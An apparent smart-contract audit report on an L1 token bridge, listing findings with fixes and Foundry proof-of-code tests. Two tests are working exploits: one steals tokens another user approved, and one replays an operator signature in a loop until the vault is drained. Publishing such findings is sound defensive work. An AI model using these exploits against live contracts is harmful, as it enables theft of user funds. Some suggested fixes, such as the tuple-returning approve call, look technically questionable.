Protocol Audit Report

Prepared by: Caducus

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Disclaimer

Caducus makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

	Impact

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: `07af21653ab3e8a8362bf5f63eb058047f562375`

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can: pause/unpause the bridge in the event of an emergency set Signers
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call depositTokensToL2, when they want to send tokens from L1 -> L2.

Issues found

Severity	Number of issues found
High	3
Medium	0
Low	0
Info	4
Total	7

Findings

High

[H-1] Function `TokenFactory::deployToken` uses Assembly OPPCODE `create` that is not compatible in zkSync ERA.

Description: In the `TokenFactory::deployToken` function, this snippet of assembly code is used for the deployment of the token:

```
    assembly {

            addr := create(0, add(contractBytecode, 0x20),
mload(contractBytecode))
        }
```

As per the zkSync ERA documentation: Unlike Ethereum, where create/create2 are opcodes, on ZKsync these are implemented by the compiler via calls to the ContractDeployer system contract. Thus the aforementioned code will not work as expected when the contract is deployed to zkSync ERA.

Impact: The `TokenFactory::deployToken` function will most likely fail.

Proof of Concept: zksync Documentation

Recommended Mitigation: Use the appropriate zkSync calls to the the `ContractDeployer`system contract.

[H-2] Any attacker can call `L1BossBridge::depositTokensToL2` as the recipient.

Description: An attacker can call `L1BossBridge::depositTokensToL2` after a token amount has been approved and steal the funds in layer 2.

Impact: The user who has approved the tokens to be deposited into the vault will not be granted the corresponding tokens in the L2, because an attacker has already been granted those.

Proof of Concept:

1. User A approves an amount of tokens to be bridged
2. Attacker calls `depositTokensToL2` with the user's address as the sender, the attacker's address as the recipent and the amount that is been transferred
3. The function `depositTokenToL2` emits the `Deposit` event with the wrong recipient
4. The Signer/Operator assigns the L2 token amount to the wrong address

Paste the following into `L1TokenBridge.t.sol` :

▶ Proof of Code

```
function testCanStealApprovedTokens() public {
        //User A approves the bridge
        vm.prank(user);
```

```
        token.approve(address(tokenBridge), type(uint256).max);
        vm.stopPrank();
        //setting up attacker
        uint256 amountToSteal = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, amountToSteal);
        tokenBridge.depositTokensToL2(user, attacker, amountToSteal);
        // assert the steal
        assertEq(token.balanceOf(address(vault)), amountToSteal);
        assertEq(token.balanceOf(address(user)), 0);
        vm.stopPrank();
    }
```

Recommended Mitigation: Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external
whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-3] Signature Replay vulnerability in `L1BossBridge::sendToL1` allows draining of vault funds

Description: Users who want to withdraw tokens from the bridge can call the sendToL1 function, or the wrapper withdrawTokensToL1 function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces).

Impact: Valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concept:

1. Attacker initiates a normal bridging of tokens
2. After unlocking L2 tokens, the attacker chooses to withdraw tokens back to L1

3. The Signer/Operator will have to sign a message for the approval of the L1 token withdrawal
4. The attacker gets hold of the signature since it has been transmitted on chain
5. The attacker can now call `withdrawTokensToL1` with the signature of the Signer, draining vault funds.

Paste the following code in `L1TokenBridgeBoss.t.sol`:

▶ Proof of Code

```
    function testSignatureReplay() public {
        address attacker = makeAddr("attacker");
        uint256 attackerInitialBalance = 100e18;
        uint256 vaultBalance = 1000e18;
        deal(address(token), address(vault), vaultBalance);
        deal(address(token), address(attacker), attackerInitialBalance);

        // attacker initiates a normal deposit to L2

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), attackerInitialBalance);
        tokenBridge.depositTokensToL2(attacker, attacker,
attackerInitialBalance);
        vm.stopPrank();

        //L2 : send tokens back to L1!

        //signer/operator will have to sign message for approved
withdrawal back to L1
        bytes memory message = abi.encode(
            address(token), 0, abi.encodeCall(IERC20.transferFrom,
(address(vault), attacker, attackerInitialBalance))
        );
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key,
MessageHashUtils.toEthSignedMessageHash(keccak256(message)));

        // attacker now has v, r, s and they can continously withdraw with
it

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(vault)), 0);
        assertEq(token.balanceOf(address(attacker)),
attackerInitialBalance + vaultBalance);
    }
```

Recommended Mitigation: Consider redesigning the withdrawal mechanism so that it includes replay protection.

Informational

[I-1] Events should have indexed parameters

Description: Events in the protocol should use indexed parameters for better monitoring off-chain

Impact:

Recommended Mitigation:

```
-  event Deposit(address from, address to, uint256 amount);
+  event Deposit(address indexed from, address indexed to, uint256 indexed
amount);

-    event TokenDeployed(string symbol, address addr);
+    event TokenDeployed(string indexed symbol, address indexed addr);
```

[I-2] `L1BossBridge::depositTokenToL2` should implement CEI

Description: In the `L1BossBridge::depositTokenToL2` function, the emission of the `Deposit` event is happening after the `safeTransferFrom` function, violating CEI.

Impact: Reentrancy

Recommended Mitigation:

```
    function depositTokensToL2(address from, address l2Recipient, uint256
amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+        emit Deposit(from, l2Recipient, amount);
        token.safeTransferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the
corresponding tokens on L2
-        emit Deposit(from, l2Recipient, amount);
    }
```

[I-3] Variable `L1Vault::token` should be marked as immutable

Description: The IERC20 `token` variable should be marked as immutable

[I-4] Function `approveTo` in `L1Vault` is not handling success

Description: In the `approveTo` function, the call for approval to the token is not being handled for success. Checking for successful approval should always be implemented to follow best practices

Recommended Mitigation:

```
-       token.approve(target, amount);
+       (bool success, ) = token.approve(target, amount);
+       require(success);
```